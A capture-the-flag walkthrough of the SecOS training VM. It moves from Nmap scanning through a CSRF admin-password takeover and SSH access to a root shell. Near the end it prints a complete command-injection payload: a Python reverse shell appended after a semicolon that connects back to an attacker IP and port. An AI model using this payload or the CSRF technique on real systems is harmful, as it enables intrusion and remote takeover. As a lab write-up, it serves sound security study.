So we start the game from hosting the vulnerable VM on the virtual box. After running the box, now we run a ping-based Nmap scan for identifying the live systems on the network.
As can be seen in the above figure, we have our target IP. Next we launch an Nmap scan on the target.
We find only two ports are open: one is SSH and the other is HTTP service, so we open the target IP with that port number and we find there is a web application running on the box.
The web application looks interesting – it has login and signup functionality. We sign up for a user as batman. We login to the application with our created user.
After logging into the application, we browse the whole application to understand the application’s functionality. A user can send messages to any user, and there is a users section where all the application’s users are listed with their roles.
We find that the user spiderman is the administrator, so what next? We need the admin privileges to see what other functionality the admin has. We try to bruteforce the admin credentials and also try SQL injection to bypass the login, but nothing works.
After running the Burp Spider, we find a file named “hint” in the application. We open the hint file in the browser and look into the source for hint and we find an interesting HTML comment on that page.
The hint clarified that the admin is using this application on localhost and the application is vulnerable to Cross Site Request Forgery. Though the application is very small and it has very few functionalities, it is pretty easy to guess that that’s how we will take over the admin’s account – via CSRF attack. We take the source code of the password change page and craft a CSRF page.
As can be seen in the above figure, for the username value we input the admin name spiderman, and in the password field we input our own password pass@123. We also adda small script in the HTML page, which will auto refresh the page and the request will be submitted. After creating this CSRF page, we host this page in our XAMP server for serving this page via link to the admin.
As can be seen in the above figure, we put the CSRF page as test.html file in our test directory. After that, we send this link to the admin user, which is spiderman, via message.
Then we try to login as spiderman with password pass@123 and we successfully login to the application. We open the messages of the admin to find some juicy information, and what we find is that the user pirate sent messages to the admin that he knows his password, and it is “CrazyPassword!”
Another password – what is the use of this one? I look upon my Nmap result, there were two open ports and the first one is SSH, so I try to login via SSH with this password.
Great! I’m logged in via SSH – let’s find some files. We find two directories: tmp and vnwa. The tmp directory is empty and we find some files inside the vnwa directory.
So we look into all the files and the internalServer.js is the key file. We find that there is another web application running on localhost bound with port 9000, and it allows users to ping on IP address. “It allows user to ping” means it takes commands from the user and it also does not sanitize the user input, which will result in command execution on the server.
We have to make sure the internal server is running as root. We check to see which user internalserver.js is running, so we type in ps aux| grep internal and luckily it is root. Now the point is – how we will open this application on the box? There are two ways to access the locahost application: the first is we can use the command line browser on the target’s box, or we can use SSH tunneling so we can access the localhost on the SecOS box using my attacking box. Type in ssh -D 1080 spiderman@192.168.0.102 -Nf
Here in the above figure we use dynamic port forwarding, which turns your SSH client into a SOCKS proxy server. SOCKS is a little-known but widely-implemented protocol for programs to request any Internet connection through a proxy server. Each program that uses the proxy server needs to be configured specifically, and reconfigured when you stop using the proxy server. For example, say you wanted Firefox to connect to every web page through your SSH server. First you would use dynamic port forwarding with the default SOCKS port, and 1080 is the standard SOCKS port. The D option specifies dynamic port forwarding. N instructs to not execute a command on the remote system, and f tells ssh to go into the background just before it executes the command. We verify by the nestat command that our connection is established with port 1080.
After that we configure the Firefox proxy to the SOCKS proxy.
Now we are able to access that application via localhost.
We use Python-based reverse shell for the listening connection from Netcat. Before injecting the command, we start our Netcat listener on port 2501 and then type in the command: 127.0.0.1 ; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.0.106”,2501));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ In the above mentioned command we injected ;(semicolon) after 127.0.0.1 which is a very dummy Unix vulnerability code injection. Add the “;” character to inject a shell command and the rest of the part is the shell payload where we add our IP and the port where Netcat is listening.
As can be seen in the above figure, we get root and we open the flag, which is “MickeyMustNotDie”. References: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet http://paulsec.github.io/blog/2014/05/12/secos-1-first-vm-out/
